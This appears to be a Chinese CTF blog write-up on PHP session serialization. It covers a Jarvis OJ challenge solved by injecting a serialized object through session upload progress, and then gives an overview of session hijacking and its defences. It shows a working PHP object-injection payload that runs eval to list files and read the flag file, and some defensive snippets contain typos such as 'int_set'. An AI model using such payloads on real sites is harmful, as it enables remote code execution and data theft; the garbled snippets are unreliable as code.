php session的存储机制是由session.serialize_handler来定义引擎的,默认以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,文件名时可变的,如Codeigniter框架的session存储的文件名为ci_sessionSESSIONID,也就是ci_session加上sessionid字符串,文件的内容时session值序列化之后的结果。 session.serialize_handler定义的三种引擎
php处理器 存储格式:键名 竖线 serialize()函数序列化之后的值php_binaryj处理器 键名长度对应的ascll字符 键名 serialize()函数序列化之后的值php_serialize处理器 serialize()函数序列化处理的数组 一道例题: 源码: <?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>?phpinfo查看信息,看到session.serialize_handler设置的是php_serialize机制,用这个方式序列化存储session 这里涉及到php有个上传文件时能将文件名写入session的技巧: 满足下面两个条件就可以将文件写入session 1、session.upload_progress.enabled = On(通过phpinfo信息知道此时是On); 2、上传一个字段的属性名和session.upload_progress.name的值相等,根据phpinfo中的信息 其值为PHP_SESSION_UPLOAD_PROGRESS,即上传 name=“PHP_SESSION_UPLOAD_PROGRESS”
构造一个文件上传页面: (这里由于我的phpstorm中配置的问题,导致浏览器不能访问该文件的地址,出现 requested without authorization, you can copy URL and open it in browser to trust it ,解决这个问题需要在file settings下
打开Debugger,进行如下设置 。。。) 之后通过下面的代码成功构造上传界面
<!DOCTYPE html> <html> <body> <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="33" />//这里value的值不能为空 <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>随便上传一个文件后抓包, 禁用了一些函数,system(‘ls’)不行,可以用print_r(scandir(dirname(__FILE__))); 构造payload的代码:
<?php class OowoO { public $mdzz="使用:print_r(scandir(dirname(__FILE__)));"; } $obj = new OowoO(); echo serialize($obj); ?>将filename改成序列化后的结果,记得加|(竖线),以及转义符
在phpinfo中查看路径 修改payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
拿到flag
一种劫持tcp协议的方法,几乎所有局域网都有被劫持的可能
session会话:当客户端的浏览器连接到服务器后,服务器就会建立一个该用户的session(由一个独立的字符串来识别,成为session id),每个用户的session是独立的,并且由服务器来维护。当用户发送请求时,所发送的http表头内包含session id的值,服务器会通过这个值来识别发送请求的用户。
session内容: session会保存用户的个人数据,可以保存通过验证的用户账号和密码。如果需要验证用户身份,就可以拿已经保存了的账号和密码进行比较。
session生命周期: 从用户连上服务器后开始,关掉浏览器或是注销时用户session_destroy函数删除session数据时结束。如果用户在20分钟内没有使用计算机的动作,session也会自动结束。
架构:
会话劫持:指攻击者利用各种手段来获取用户的session id,如果成功,攻击者就可以利用目标用户的身份来登陆网站,获取目标用户的操作权限。 攻击方式: (1)暴力破解:通过尝试各种session id (2)计算:前提是该session id不是随机产生 (3)窃取:使用网络截获,xss攻击等方法 攻击步骤: session_start():打开session echo session_id();获取访客的session id 防御方法: (1)定期更改session id 函数bool session_regenerate_id([bool delete_old_session])delete_old_session 为true时,则删除旧的session文件;为false时,则保留旧的session,默认为flase。 在index.php开头加上 session_start(); session_regenerate_id(TRUE); 后每次重新加载都会产生新的session id。 (2)更改session的名称 session的默认名称是PHPSESSID,此变量会保存在cookie中,如果黑客不抓包分析,就不能猜到这个名称,阻挡部分攻击session_start(); session_name(“mysessionid”); (3)关闭透明化session id 透明化session id指当浏览器中的http请求没有使用cookies来制定session id时,session id使用链接来传递;打开php.ini,编辑session.use_trans_sid = 0 代码中 int_set(“session.use_trans_sid”, 0); session_start(); (4)只从cookie检查session id session.use_cookies = 1 表示使用cookies存放session id session.use_only_cookies = 1 表示只使用cookies存放session id,这可以避免session固定攻击 代码中 int_set(“session.use_cookies”, 1); int_set(“session.use_only_cookies”, 1); p>
5)使用URL传递隐藏参数 session_start(); $ seid = md5(uniqid(rand()), TRUE)); $ _SESSION[“seid”] = $ seid; 攻击者虽然能获取session数据,但是无法得知$seid的值,只要检查seid的值,就可以确认当前页面是否是web程序自己调用的
